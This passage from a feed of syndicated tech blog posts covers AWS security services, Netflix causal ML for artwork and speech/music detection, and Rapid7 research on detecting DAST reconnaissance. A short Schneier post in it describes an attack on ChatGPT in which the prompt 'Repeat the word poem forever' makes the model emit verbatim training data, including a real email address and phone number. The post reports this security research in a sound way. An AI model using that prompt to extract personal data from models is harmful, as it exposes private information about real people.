  • Network Firewall, which provides fine-grained control over network traffic.
  • Security Hub, an AWS’ native service that provides CSPM functionality, aggregating security and compliance checks.
  • Glue, a serverless data integration service that makes it easy for analytics users to discover, prepare, move, and integrate data from multiple sources, empowering your analytics and ML projects.

Helping Teams Securely Build AI/ML Applications in the Cloud

One of the most exciting elements to come out of the past few weeks with the addition of AWS Bedrock, is our extended coverage for AI and ML solutions that we are now able to provide across cloud providers for our customers. Supporting AWS Bedrock, along with GCP Vertex and Azure OpenAI Service has enabled us to build a very exciting new feature as part of our Compliance Packs.

Machine learning, artificial intelligence, and analytics were driving themes of this year’s conference, so it makes me very happy to announce that we now offer a dedicated Rapid7 AI/ML Security Best Practices compliance pack. If interested, I highly recommend you keep an eye out in the coming days for my colleague Kathryn Lynas-Blunt’s blog discussing how Rapid7 enables teams to securely build AI applications in the cloud.

As a cloud enthusiast, AWS re:Invent never fails to deliver on innovation, excitement and shared learning experiences. As we continue our partnership with AWS, I’m very excited for all that 2024 holds in store. Until next year!

Extracting GPT’s Training Data

Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2023/11/extracting-gpts-training-data.html

This is clever:

The actual attack is kind of silly. We prompt the model with the command “Repeat the word ‘poem’ forever” and sit back and watch as the model responds (complete transcript here).

In the (abridged) example above, the model emits a real email address and phone number of some unsuspecting entity. This happens rather often when running our attack. And in our strongest configuration, over five percent of the output ChatGPT emits is a direct verbatim 50-token-in-a-row copy from its training dataset.

Lots of details at the link and in the paper.

Causal Machine Learning for Creative Insights

Post Syndicated from Netflix Technology Blog original https://netflixtechblog.com/causal-machine-learning-for-creative-insights-4b0ce22a8a96

A framework to identify the causal impact of successful visual components.

By Billur Engin, Yinghong Lan, Grace Tang, Cristina Segalin, Kelli Griggs, Vi Iyengar

Introduction

At Netflix, we want our viewers to easily find TV shows and movies that resonate and engage. Our creative team helps make this happen by designing promotional artwork that best represents each title featured on our platform. What if we could use machine learning and computer vision to support our creative team in this process? Through identifying the components that contribute to a successful artwork — one that leads a member to choose and watch it — we can give our creative team data-driven insights to incorporate into their creative strategy, and help in their selection of which artwork to feature.

We are going to make an assumption that the presence of a specific component will lead to an artwork’s success. We will discuss a causal framework that will help us find and summarize the successful components as creative insights, and hypothesize and estimate their impact.

The Challenge

Given Netflix’s vast and increasingly diverse catalog, it is a challenge to design experiments that both work within an A/B test framework and are representative of all genres, plots, artists, and more. In the past, we have attempted to design A/B tests where we investigate one aspect of artwork at a time, often within one particular genre. However, this approach has a major drawback: it is not scalable because we either have to label images manually or create new asset variants differing only in the feature under investigation. The manual nature of these tasks means that we cannot test many titles at a time. Furthermore, given the multidimensional nature of artwork, we might be missing many other possible factors that might explain an artwork’s success, such as figure orientation, the color of the background, facial expressions, etc. Since we want to ensure that our testing framework allows for maximum creative freedom, and avoid any interruption to the design process, we decided to try an alternative approach.

Figure. Given the multidimensional nature of artwork, it is challenging to design an A/B test to investigate one aspect of artwork at a given time. We could be missing many other possible factors that might explain an artwork’s success, such as figure orientation, the color of the background, facial expressions, etc.

The Causal Framework

Thanks to our Artwork Personalization System and vision algorithms (some of which are exemplified here), we have a rich dataset of promotional artwork components and user engagement data to build a causal framework. Utilizing this dataset, we have developed the framework to test creative insights and estimate their causal impact on an artwork’s performance via the dataset generated through our recommendation system. In other words, we can learn which attributes led to a title’s successful selection based on its artwork.

Let’s first explore the workflow of the causal framework, as well as the data and success metrics that power it.

We represent the success of an artwork with the take rate: the probability of an average user to watch the promoted title after seeing its promotional artwork, adjusted for the popularity of the title. Every show on our platform has multiple promotional artwork assets. Using Netflix’s Artwork Personalization, we serve these assets to hundreds of millions of members everyday. To power this recommendation system, we look at user engagement patterns and see whether or not these engagements with artworks resulted in a successful title selection.

With the capability to annotate a given image (some of which are mentioned in an earlier post), an artwork asset in this case, we use a series of computer vision algorithms to gather objective image metadata, latent representation of the image, as well as some of the contextual metadata that a given image contains. This process allows our dataset to consist of both the image features and user data, all in an effort to understand which image components lead to successful user engagement. We also utilize machine learning algorithms, consumer insights¹, and correlational analysis for discovering high-level associations between image features and an artwork’s success. These statistically significant associations become our hypotheses for the next phase.

Once we have a specific hypothesis, we can test it by deploying causal machine learning algorithms. This framework reduces our experimental effort to uncover causal relationships, while taking into account confounding among the high-level variables (i.e. the variables that may influence both the treatment / intervention and outcome).

The Hypothesis and Assumptions

We will use the following hypothesis in the rest of the script: presence of a face in an artwork causally improves the asset performance. (We know that faces work well in artwork, especially images with an expressive facial emotion that’s in line with the tone of the title.)

Here are two promotional artwork assets from Unbreakable Kimmy Schmidt. We know that the image on the left performed better than the image on the right. However, the difference between them is not only the presence of a face. There are many other variances, like the difference in background, text placement, font size, face size, etc. Causal Machine Learning makes it possible for us to understand an artwork’s performance based on the causal impact of its treatment.

To make sure our hypothesis is fit for the causal framework, it’s important we go over the identification assumptions.

  • Consistency: The treatment component is sufficiently well-defined.

We use machine learning algorithms to predict whether or not the artwork contains a face. That’s why the first assumption we make is that our face detection algorithm is mostly accurate (~92% average precision).

  • Positivity / Probabilistic Assignment: Every unit (an artwork) has some chance of getting treated.

We calculate the propensity score (the probability of receiving the treatment based on certain baseline characteristics) of having a face for samples with different covariates. If a certain subset of artwork (such as artwork from a certain genre) has close to a 0 or 1 propensity score for having a face, then we discard these samples from our analysis.

  • Individualistic Assignment / SUTVA (stable unit treatment value assumption): The potential outcomes of a unit do not depend on the treatments assigned to others.

Creatives make the decision to create artwork with or without faces based on considerations limited to the title of interest itself. This decision is not dependent on whether other assets have a face in them or not.

  • Conditional exchangeability (Unconfoundedness): There are no unmeasured confounders.

This assumption is by definition not testable. Given a dataset, we can’t know if there has been an unobserved confounder. However, we can test the sensitivity of our conclusions toward the violation of this assumption in various different ways.

The Models

Now that we have established our hypothesis to be a causal inference problem, we can focus on the Causal Machine Learning Application. Predictive Machine Learning (ML) models are great at finding patterns and associations in order to predict outcomes, however they are not great at explaining cause-effect relationships, as their model structure does not reflect causality (the relationship between cause and effect). As an example, let’s say we looked at the price of Broadway theater tickets and the number of tickets sold. An ML algorithm may find a correlation between price increases and ticket sales. If we have used this algorithm for decision making, we could falsely conclude that increasing the ticket price leads to higher ticket sales if we do not consider the confounder of show popularity, which clearly impacts both ticket prices and sales. It is understandable that a Broadway musical ticket may be more expensive if the show is a hit, however simply increasing ticket prices to gain more customers is counter-intuitive.

Causal ML helps us estimate treatment effects from observational data, where it is challenging to conduct clean randomizations. Back-to-back publications on Causal ML, such as Double ML, Causal Forests, Causal Neural Networks, and many more, showcased a toolset for investigating treatment effects, via combining domain knowledge with ML in the learning system. Unlike predictive ML models, Causal ML explicitly controls for confounders, by modeling both treatment of interest as a function of confounders (i.e., propensity scores) as well as the impact of confounders on the outcome of interest. In doing so, Causal ML isolates out the causal impact of treatment on outcome. Moreover, the estimation steps of Causal ML are carefully set up to achieve better error bounds for the estimated treatment effects, another consideration often overlooked in predictive ML. Compared to more traditional Causal Inference methods anchored on linear models, Causal ML leverages the latest ML techniques to not only better control for confounders (when propensity or outcome models are hard to capture by linear models) but also more flexibly estimate treatment effects (when treatment effect heterogeneity is nonlinear). In short, by utilizing machine learning algorithms, Causal ML provides researchers with a framework for understanding causal relationships with flexible ML methods.

Y : outcome variable (take rate)
T : binary treatment variable (presence of a face or not)
W: a vector of covariates (features of the title and artwork)
X ⊆ W: a vector of covariates (a subset of W) along which treatment effect heterogeneity is evaluated

Let’s dive more into the causal ML (Double ML to be specific) application steps for creative insights.

  1. Build a propensity model to predict treatment probability (T) given the W covariates.

2. Build a potential outcome model to predict Y given the W covariates.

3. Residualization of

  • The treatment (observed T — predicted T via propensity model)
  • The outcome (observed Y — predicted Y via potential outcome model)

4. Fit a third model on the residuals to predict the average treatment effect (ATE) or conditional average treatment effect (CATE).

Where 𝜖 and η are stochastic errors and we assume that E[ 𝜖|T,W] = 0 , E[ η|W] = 0.

For the estimation of the nuisance functions (i.e., the propensity score model and the outcome model), we have implemented the propensity model as a classifier (as we have a binary treatment variable — the presence of face) and the potential outcome model as a regressor (as we have a continuous outcome variable — adjusted take rate). We have used grid search for tuning the XGBoosting classifier & regressor hyperparameters. We have also used k-fold cross-validation to avoid overfitting. Finally, we have used a causal forest on the residuals of treatment and the outcome variables to capture the ATE, as well as CATE on different genres and countries.

Mediation and Moderation

ATE will reveal the impact of the treatment — in this case, having a face in the artwork — across the board. The result will answer the question of whether it is worth applying this approach for all of our titles across our catalog, regardless of potential conditioning variables e.g. genre, country, etc. Another advantage of our multi-feature dataset is that we get to deep dive into the relationships between attributes. To do this, we can employ two methods: mediation and moderation.

In their classic paper, Baron & Kenny define a moderator as “a qualitative (e.g., sex, race, class) or quantitative (e.g., level of reward) variable that affects the direction and/or strength of the relation between an independent or predictor variable and a dependent or criterion variable.”. We can investigate suspected moderators to uncover Conditional Average Treatment Effects (CATE). For example, we might suspect that the effect of the presence of a face in artwork varies across genres (e.g. certain genres, like nature documentaries, probably benefit less from the presence of a human face since titles in those genres tend to focus more on non-human subject matter). We can investigate these relationships by including an interaction term between the suspected moderator and the independent variable. If the interaction term is significant, we can conclude that the third variable is a moderator of the relationship between the independent and dependent variables.

Mediation, on the other hand, occurs when a third variable explains the relationship between an independent and dependent variable. To quote Baron & Kenny once more, “whereas moderator variables specify when certain effects will hold, mediators speak to how or why such effects occur.”

For example, we observed that the presence of more than 3 people tends to negatively impact performance. It could be that higher numbers of faces make it harder for a user to focus on any one face in the asset. However, since face count and face size tend to be negatively correlated (since we fit more information in an image of fixed size, each individual piece of information tends to be smaller), one could also hypothesize that the negative correlation with face count is not driven so much from the number of people featured in the artwork, but rather the size of each individual person’s face, which may affect how visible each person is. To test this, we can run a mediation analysis to see if face size is mediating the effect of face count on the asset’s performance.

The steps of the mediation analysis are as follows: We have already detected a correlation between the independent variable (number of faces) and the outcome variable (user engagement) — in other words, we observed that a higher number of faces is associated with lower user engagement. But, we also observe that the number of faces is negatively correlated with average face size — faces tend to be smaller when more faces are fit into the same fixed-size canvas. To find out the degree to which face size mediates the effect of face count, we regress user engagement on both average face size and the number of faces. If 1) face size is a significant predictor of engagement, and 2) the significance of the predictive contribution of the number of people drops, we can conclude that face size mediates the effect of the number of people in artwork user engagement. If the coefficient for the number of people is no longer significant, it shows that face size fully mediates the effect of the number of faces on engagement.

In this dataset, we found that face size only partially mediates the effect of face count on asset effectiveness. This implies that both factors have an impact on asset effectiveness — fewer faces tend to be more effective even if we control for the effect of face size.

Sensitivity Analysis

As alluded to above, the conditional exchangeability assumption (unconfoundedness) is not testable by definition. It is thus crucial to evaluate how sensitive our findings and insights are to the violation of this assumption. Inspired by prior work, we conducted a suite of sensitivity analyses that stress-tested this assumption from multiple different angles. In addition, we leveraged ideas from academic research (most notably the E-value) and concluded that our estimates are robust even when the unconfoundedness assumption is violated. We are actively working on designing and implementing a standardized framework for sensitivity analysis and will share the various applications in an upcoming blog post — stay tuned for a more detailed discussion!

Finally, we also compared our estimated treatment effects with known effects for specific genres that were derived with other different methods, validating our estimates with consistency across different methods

Conclusion

Using the causal machine learning framework, we can potentially test and identify the various components of promotional artwork and gain invaluable creative insights. With this post, we just started to scratch the surface of this interesting challenge. In the upcoming posts in this series, we will share alternative machine learning and computer vision approaches that can provide insights from a causal perspective. These insights will guide and assist our team of talented strategists and creatives to select and generate the most attractive artwork, leveraging the attributes that these models selected, down to a specific genre. Ultimately this will give Netflix members a better and more personalized experience.

If these types of challenges interest you, please let us know! We are always looking for great people who are inspired by causal inference, machine learning, and computer vision to join our team.

Contributions

The authors contributed to the post as follows.

Billur Engin was the main driver of this blog post, she worked on the causal machine learning theory and its application in the artwork space. Yinghong Lan contributed equally to the causal machine learning theory. Grace Tang worked on the mediation analysis. Cristina Segalin engineered and extracted the visual features at scale from artworks used in the analysis. Grace Tang and Cristina Segalin initiated and conceptualized the problem space that is being used as the illustrative example in this post (studying factors affecting user engagement with a broad multivariate analysis of artwork features), curated the data, and performed initial statistical analysis and construction of predictive models supporting this work.

Acknowledgments

We would like to thank Shiva Chaitanya for reviewing this work, and a special thanks to Shaun Wright , Luca Aldag, Sarah Soquel Morhaim, and Anna Pulido who helped make this possible.

Footnotes

¹The Consumer Insights team at Netflix seeks to understand members and non-members through a wide range of quantitative and qualitative research methods.


Causal Machine Learning for Creative Insights was originally published in Netflix TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Detecting Speech and Music in Audio Content

Post Syndicated from Netflix Technology Blog original https://netflixtechblog.com/detecting-speech-and-music-in-audio-content-afd64e6a5bf8

Iroro Orife, Chih-Wei Wu and Yun-Ning (Amy) Hung

Introduction

When you enjoy the latest season of Stranger Things or Casa de Papel (Money Heist), have you ever wondered about the secrets to fantastic story-telling, besides the stunning visual presentation? From the violin melody accompanying a pivotal scene to the soaring orchestral arrangement and thunderous sound-effects propelling an edge-of-your-seat action sequence, the various components of the audio soundtrack combine to evoke the very essence of story-telling. To uncover the magic of audio soundtracks and further improve the sonic experience, we need a way to systematically examine the interaction of these components, typically categorized as dialogue, music and effects.

In this blog post, we will introduce speech and music detection as an enabling technology for a variety of audio applications in Film & TV, as well as introduce our speech and music activity detection (SMAD) system which we recently published as a journal article in EURASIP Journal on Audio, Speech, and Music Processing.

Like semantic segmentation for audio, SMAD separately tracks the amount of speech and music in each frame in an audio file and is useful in content understanding tasks during the audio production and delivery lifecycle. The detailed temporal metadata SMAD provides about speech and music regions in a polyphonic audio mixture are a first step for structural audio segmentation, indexing and pre-processing audio for the following downstream tasks. Let’s have a look at a few applications.

Practical use cases for speech & music activity

Audio dataset preparation

Speech & music activity is an important preprocessing step to prepare corpora for training. SMAD classifies & segments long-form audio for use in large corpora, such as

From “Audio Signal Classification” by David Gerhard

Dialogue analysis & processing

  • During encoding at Netflix, speech-gated loudness is computed for every audio master track and used for loudness normalization. Speech-activity metadata is thus a central part of accurate catalog-wide loudness management and improved audio volume experience for Netflix members.
  • Similarly, algorithms for dialogue intelligibility, spoken-language-identification and speech-transcription are only applied to audio regions where there is measured speech.

Music information retrieval

  • There are a few studio use cases where music activity metadata is important, including quality-control (QC) and at-scale multimedia content analysis and tagging.
  • There are also inter-domain tasks like singer-identification and song lyrics transcription, which do not fit neatly into either speech or classical MIR tasks, but are useful for annotating musical passages with lyrics in closed captions and subtitles.
  • Conversely, where neither speech nor music activity is present, such audio regions are estimated to have content classified as noisy, environmental or sound-effects.

Localization & Dubbing

Finally, there are post-production tasks, which take advantage of accurate speech segmentation at the the spoken utterance or sentence level, ahead of translation and dub-script generation. Likewise, authoring accessibility-features like Audio Description (AD) involves music and speech segmentation. The AD narration is typically mixed-in to not overlap with the primary dialogue, while music lyrics strongly tied to the plot of the story, are sometimes referenced by AD creators, especially for translated AD.

A voice actor in the studio

Our Approach to Speech and Music Activity Detection

Although the application of deep learning methods has improved audio classification systems in recent years, this data driven approach for SMAD requires large amounts of audio source material with audio-frame level speech and music activity labels. The collection of such fine-resolution labels is costly and labor intensive and audio content often cannot be publicly shared due to the copyright limitations. We address the challenge from a different angle.

Content, genre and languages

Instead of augmenting or synthesizing training data, we sample the large scale data available in the Netflix catalog with noisy labels. In contrast to clean labels, which indicate precise start and end times for each speech/music region, noisy labels only provide approximate timing, which may impact SMAD classification performance. Nevertheless, noisy labels allow us to increase the scale of the dataset with minimal manual efforts and potentially generalize better across different types of content.

Our dataset, which we introduced as TVSM (TV Speech and Music) in our publication, has a total number of 1608 hours of professionally recorded and produced audio. TVSM is significantly larger than other SMAD datasets and contains both speech and music labels at the frame level. TVSM also contains overlapping music and speech labels, and both classes have a similar total duration.

Training examples were produced between 2016 and 2019, in 13 countries, with 60% of the titles originating in the USA. Content duration ranged from 10 minutes to over 1 hour, across the various genres listed below.

The dataset contains audio tracks in three different languages, namely English, Spanish, and Japanese. The language distribution is shown in the figure below. The name of the episode/TV show for each sample remains unpublished. However, each sample has both a show-ID and a season-ID to help identify the connection between the samples. For instance, two samples from different seasons of the same show would share the same show ID and have different season IDs.

What constitutes music or speech?

To evaluate and benchmark our dataset, we manually labeled 20 audio tracks from various TV shows which do not overlap with our training data. One of the fundamental issues encountered during the annotation of our manually-labeled TVSM-test set, was the definition of music and speech. The heavy usage of ambient sounds and sound effects blurs the boundaries between active music regions and non-music. Similarly, switches between conversational speech and singing voices in certain TV genres obscure where speech starts and music stops. Furthermore, must these two classes be mutually exclusive? To ensure label quality, consistency, and to avoid ambiguity, we converged on the following guidelines for differentiating music and speech:

  • Any music that is perceivable by the annotator at a comfortable playback volume should be annotated.
  • Since sung lyrics are often included in closed-captions or subtitles, human singing voices should all be annotated as both speech and music.
  • Ambient sound or sound effects without apparent melodic contours should not be annotated as music. Traditional phone bell, ringing, or buzzing without apparent melodic contours should not be annotated as music.
  • Filled pauses (uh, um, ah, er), backchannels (mhm, uh-huh), sighing, and screaming should not be annotated as speech.

Audio format and preprocessing

All audio files were originally delivered from the post-production studios in the standard 5.1 surround format at 48 kHz sampling rate. We first normalize all files to an average loudness of −27 LKFS ± 2 LU dialog-gated, then downsample to 16 kHz before creating an ITU downmix.

Model Architecture

Our modeling choices take advantage of both convolutional and recurrent architectures, which are known to work well on audio sequence classification tasks, and are well supported by previous investigations. We adapted the SOTA convolutional recurrent neural network (CRNN) architecture to accommodate our requirements for input/output dimensionality and model complexity. The best model was a CRNN with three convolutional layers, followed by two bi-directional recurrent layers and one fully connected layer. The model has 832k trainable parameters and emits frame-level predictions for both speech and music with a temporal resolution of 5 frames per second.

For training, we leveraged our large and diverse catalog dataset with noisy labels, introduced above. Applying a random sampling strategy, each training sample is a 20 second segment obtained by randomly selecting an audio file and corresponding starting timecode offset on the fly. All models in our experiments were trained by minimizing binary cross-entropy (BCE) loss.

Evaluation

In order to understand the influence of different variables in our experimental setup, e.g. model architecture, training data or input representation variants like log-Mel Spectrogram versus per-channel energy normalization (PCEN), we setup a detailed ablation study, which we encourage the reader to explore fully in our EURASIP journal article.

For each experiment, we reported the class-wise F-score and error rate with a segment size of 10ms. The error rate is the summation of deletion rate (false negative) and insertion rate (false positive). Since a binary decision must be attained for music and speech to calculate the F-score, a threshold of 0.5 was used to quantize the continuous output of speech and music activity functions.

Results

We evaluated our models on four open datasets comprising audio data from TV programs, YouTube clips and various content such as concert, radio broadcasts, and low-fidelity folk music. The excellent performance of our models demonstrates the importance of building a robust system that detects overlapping speech and music and supports our assumption that a large but noisy-labeled real-world dataset can serve as a viable solution for SMAD.

Conclusion

At Netflix, tasks throughout the content production and delivery lifecycle work are most often interested in one part of the soundtrack. Tasks that operate on just dialogue, music or effects are performed hundreds of times a day, by teams around the globe, in dozens of different audio languages. So investments in algorithmically-assisted tools for automatic audio content understanding like SMAD, can yield substantial productivity returns at scale while minimizing tedium.

Additional Resources

We have made audio features and labels available via Zenodo. There is also GitHub repository with the following audio tools:

  • Python code for data pre-processing, including scripts for 5.1 downmixing, Mel spectrogram generation, MFCCs generation, VGGish features generation, and the PCEN implementation.
  • Python code for reproducing all experiments, including scripts of data loaders, model implementations, training and evaluation pipelines.
  • Pre-trained models for each conducted experiment.
  • Prediction outputs for all audio in the evaluation datasets.

Special thanks to the entire Audio Algorithms team, as well as Amir Ziai, Anna Pulido, and Angie Pollema.


Detecting Speech and Music in Audio Content was originally published in Netflix TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

NEW RESEARCH: Artificial intelligence and Machine Learning Can Be Used to Stop DAST Attacks Before they Start

Post Syndicated from Tom Caiazza original https://blog.rapid7.com/2023/11/09/artificial-intelligence-and-machine-learning-can-be-used-to-stop-dast-attacks-before-they-start/

NEW RESEARCH: Artificial intelligence and Machine Learning Can Be Used to Stop DAST Attacks Before they Start

Within cloud security, one of the most prevalent tools is dynamic application security testing, or DAST. DAST is a critical component of a robust application security framework, identifying vulnerabilities in your cloud applications either pre or post deployment that can be remediated for a stronger security posture.

But what if the very tools you use to identify vulnerabilities in your own applications can be used by attackers to find those same vulnerabilities? Sadly, that’s the case with DASTs. The very same brute-force DAST techniques that alert security teams to vulnerabilities can be used by nefarious outfits for that exact purpose.

There is good news, however. A new research paper written by Rapid7’s Pojan Shahrivar and Dr. Stuart Millar and published by the Institute of Electrical and Electronics Engineers (IEEE) shows how artificial intelligence (AI) and machine learning (ML) can be used to thwart unwanted brute-force DAST attacks before they even begin. The paper Detecting Web Application DAST Attacks with Machine Learning was presented yesterday to the specialist AI/ML in Cybersecurity workshop at the 6th annual IEEE Dependable and Secure Computing conference, hosted this year at the University of Southern Florida (USF) in Tampa.

The team designed and evaluated AI and ML techniques to detect brute-force DAST attacks during the reconnaissance phase, effectively preventing 94% of DAST attacks and eliminating the entire kill-chain at the source. This presents security professionals with an automated way to stop DAST brute-force attacks before they even start. Essentially, AI and ML are being used to keep attackers from even casing the joint in advance of an attack.

This novel work is the first application of AI in cloud security to automatically detect brute-force DAST reconnaissance with a view to an attack. It shows the potential this technology has in preventing attacks from getting off the ground, plus it enables significant time savings for security administrators and lets them complete other high-value investigative work.

Here’s how it is done: Using a real-world dataset of millions of events from enterprise-grade apps, a random forest model is trained using tumbling windows of time to generate aggregated event features from source IPs. In this way the characteristics of a DAST attack related to, for example, the number of unique URLs visited per IP or payloads per session, is learned by the model. This avoids the conventional threshold approach, which is brittle and causes excessive false positives.

This is not the first time Millar and team have made major advances in the use of AI and ML to improve the effectiveness of cloud application security. Late last year, Millar published new research at AISec in Los Angeles, the leading venue for AI/ML cybersecurity innovations, into the use of AI/ML to triage vulnerability remediation, reducing false positives by 96%. The team was also delighted to win AISec’s highly coveted Best Paper Award, ahead of the likes of Apple and Microsoft.

A complimentary pre-print version of the paper Detecting Web Application DAST Attacks with Machine Learning is available on the Rapid7 website by clicking here.